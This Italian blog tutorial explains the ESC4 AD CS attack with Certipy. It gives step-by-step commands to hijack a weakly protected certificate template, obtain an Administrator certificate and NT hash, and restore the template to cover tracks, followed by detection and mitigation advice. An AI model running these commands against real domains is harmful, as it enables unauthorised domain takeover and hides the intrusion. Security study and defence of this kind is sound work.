windows

ESC4 ADCS Privilege Escalation: Template Hijacking con Certipy

ESC4 ADCS Privilege Escalation: Template Hijacking con Certipy

ESC4 ADCS Privilege Escalation: sfruttare ACL deboli sui certificate template Active Directory per trasformarli in ESC1 e ottenere Domain Admin con Certipy.

  • Pubblicato il 2026-03-07
  • Tempo di lettura: 2 min

ESC4 è una tecnica di Active Directory Privilege Escalation tramite AD CS che consiste nel modificare direttamente un certificate template in Active Directory.

I certificate template sono oggetti AD salvati in:

text
CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration

Se un attaccante ottiene permessi di scrittura sul template, può modificarlo e trasformarlo in un template vulnerabile (tipicamente ESC1).


Quando esiste ESC4 #

ESC4 esiste quando un utente ha permessi sul template come:

text
WriteDACL
WriteOwner
WriteProperty
FullControl

Questo permette di modificare attributi critici come:

text
msPKI-Certificate-Name-Flag
pKIExtendedKeyUsage
msPKI-Enrollment-Flag
nTSecurityDescriptor

Cosa può fare l’attaccante #

Con questi permessi può:

text
abilitare Enrollee Supplies Subject
aggiungere Client Authentication EKU
dare enrollment a Domain Users
disabilitare Manager Approval

In pratica trasforma il template in ESC1.


Identificazione con Certipy #

Enumerazione template:

bash
certipy find -u attacker@corp.local -p 'Passw0rd!'

Output tipico:

text
Template Name : SecureFiles

Object Control Permissions
Full Control Principals : Authenticated Users

[!] Vulnerabilities
ESC4 : User has dangerous permissions

Indicatori chiave:

text
User ACL Principals
WriteDACL
WriteOwner
FullControl

Exploitation ESC4 #

L’attacco avviene in tre fasi.

1️⃣ modificare template 2️⃣ ottenere certificato admin 3️⃣ autenticarsi


Step 1 — modificare il template #

Certipy può trasformare automaticamente il template in uno ESC1 vulnerable.

bash
certipy template \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-template SecureFiles \
-write-default-configuration

Questo comando modifica il template e:

text
abilita Enrollee Supplies Subject
aggiunge Client Authentication
dà enrollment a Authenticated Users
rimuove manager approval

Backup automatico:

text
SecureFiles.json

Step 2 — richiedere certificato Administrator #

Ora il template è vulnerabile.

bash
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template SecureFiles \
-upn administrator@corp.local \
-sid S-1-5-21-...-500

Output:

text
Successfully requested certificate
Saving certificate to administrator.pfx

Step 3 — autenticarsi #

bash
certipy auth \
-pfx administrator.pfx \
-dc-ip 10.0.0.100

Output:

text
Got TGT
Got NT hash for administrator

Accesso ottenuto:

text
Domain Admin

Step 4 — ripristinare template (opzionale) #

Per coprire le tracce.

bash
certipy template \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-template SecureFiles \
-write-configuration SecureFiles.json \
-no-save

Il template torna allo stato originale.


Perché ESC4 è potente #

Perché permette di creare nuove vulnerabilità AD CS.

L’attaccante può trasformare un template sicuro in:

text
ESC1
ESC2
ESC3

Limite importante #

ESC4 funziona solo se il template è già pubblicato sulla CA.

Se non è pubblicato serve:

text
ESC7

(per abilitarlo sulla CA).


Detection ESC4 #

Indicatori principali:

text
WriteDACL
WriteOwner
FullControl
WriteProperty

su template.

Audit:

bash
certipy find

oppure con BloodHound.


Mitigation ESC4 #

Limitare ACL template #

Solo gruppi amministrativi devono avere permessi:

text
Enterprise Admins
PKI Admins

Audit periodico template #

Controllare ACL su:

text
CN=Certificate Templates

Usare tool di auditing #

Utili:

text
BloodHound
PingCastle
Certipy

Disabilitare template inutilizzati #

Molti template legacy non servono.


FAQ — ESC4 ADCS #

Cos’è ESC4? #

Un attacco che sfrutta permessi di scrittura su un certificate template.

Cosa permette? #

Modificare il template e renderlo vulnerabile.

ESC4 porta a Domain Admin? #

Sì, trasformando il template in ESC1.

ESC4 modifica la CA? #

No. Modifica solo il template in Active Directory.


Key Takeaway: se un utente può modificare un certificate template in AD, può trasformarlo in un template vulnerabile e ottenere certificati per qualsiasi utente del dominio.


Guida completa AD CS escalation: https://hackita.it/articoli/adcs-esc1-esc16Continua con: https://hackita.it/articoli/esc5-adcs · https://hackita.it/articoli/esc6-adcsSupporta HackIta: https://hackita.it/supportoPentest Active Directory o formazione offensiva: https://hackita.it/serviziRiferimenti tecnici: https://github.com/ly4k/Certipy https://specterops.io/blog/2021/06/17/certified-pre-owned/

#ad #adcs #esc #certipy

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.